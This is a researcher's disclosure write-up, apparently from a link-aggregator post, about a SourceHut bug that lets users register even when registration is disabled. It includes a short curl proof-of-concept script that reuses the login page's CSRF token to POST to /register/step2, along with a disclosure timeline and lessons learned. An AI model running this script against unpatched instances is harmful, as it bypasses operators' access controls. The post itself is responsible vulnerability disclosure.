SourceHut disabled registration bypass | CVE-2026-121728

49 points by mhm 21 hours ago on lobsters | 1 comment

(plaintext version for nerds - patches welcome)

So, last time I wrote about account takeover using XSS on the CI platform of SourceHut.

This time I found something not nearly as ‘impactful’, but still interesting. Sorry for taking this long, but my SSD literally died1 and while waiting for a warranty repair I had to buy a used one (have you seen the prices yet??)2. It finally arrived so here I am.

So, if you want me to work faster, just drop me some money.3

No NLP

Again, as you might know, I am not very excited about the current wave of natural language processing.4

No NLP has been used in this research. The mistakes are all mine.

The background

SourceHut has been undergoing quite an architectural change. Its frontend was first built using Flask and Jinja templates and SQLAlchemy. But, for performance reasons, and for other reasons (decoupling of business logic, graphql) the API has been ported over to Go.

The problem

Back in 2021, while moving registration code from the frontend to the graphql backend, a subtle logic bug got introduced. While the frontend never shows a registration form, and states prominently ‘registration is currently closed’, the form handler is still there. It correctly states that registration is closed on every error path, but on the happy path it does not seem to ever check it. So if you happen to remember how to submit the form…

The exploitation

You just need to POST /register/step2 with your desired username, email and password. If the server in question disables registration, but has its SMTP configured properly (you still need to do email confirmation), boom, you are in.

There is only one caveat, the csrf token — protection against Cross-Site Request Forgery, like a www.attacker.com containing <form action="https://meta.sr.ht/profile/delete"> (or 307ing there), because yes you can post forms to other sites, and yes the request will carry valid cookies. What other sites cannot know are the values of input fields in the form presented to you specifically, so the typical protection is <input type="hidden" name="_csrf_token" value="1d02711ce5a3a17342...">.

There is no registration form displayed, so there is no token. However, fortunately for us attackers, the token from /login works just fine.

The exploit

#!/bin/sh

#META=https://meta.copyleft.market
META=http://127.0.0.1:5000
USERNAME=azurediamond
EMAIL=test@example.com
PASSWORD=hunter2

csrf=$(curl -c cookie.txt $META/login |grep -A1 csrf |cut -d\' -f2 |tail -1)
curl -v -b cookie.txt $META/register/step2 \
        -d _csrf_token="$csrf" \
        -d username="$USERNAME" \
        -d email="$EMAIL" \
        -d password="$PASSWORD"

Timeline

  • 2021-09-24 - vulnerability introduced
  • 2026-08-13 - I write ‘registration [on meta.copyleft.market] is disabled, so good luck getting anywhere’
  • 2026-09-24 - my SSD dies quite literally as I publish the writeup on the account takeover vulnerability
  • 2026-10-?? - I keep thinking about what I wrote back on 2026-08-13
  • 2026-11-02 - disclosure to SourceHut’s security mailing list
  • 2026-11-03 - ack, fix lands, downstream notified, this post published, CVE id requested from VulnCheck
  • 2026-11-03 - VulnCheck assigns CVE-2026-121728
  • some day, profit?

Summary

Lessons learned:

  • Refactors can swallow security checks.
  • Double check correctness on auth flows.
  • CSRF protection would prevent this if the token was scope-limited to the specific endpoint each form points to.
  • VulnCheck is nice but their contact channels can still get more responsive.

Does anyone know a bug bounty program where the researcher pays an upfront participation fee? I will set mine up this way for sure, and you should consider it too, if you are drowning in submissions.

As I said the last time, I am not done. Stay tuned (follow me on all socials to be sure, and RSS of course) and call hire me maybe.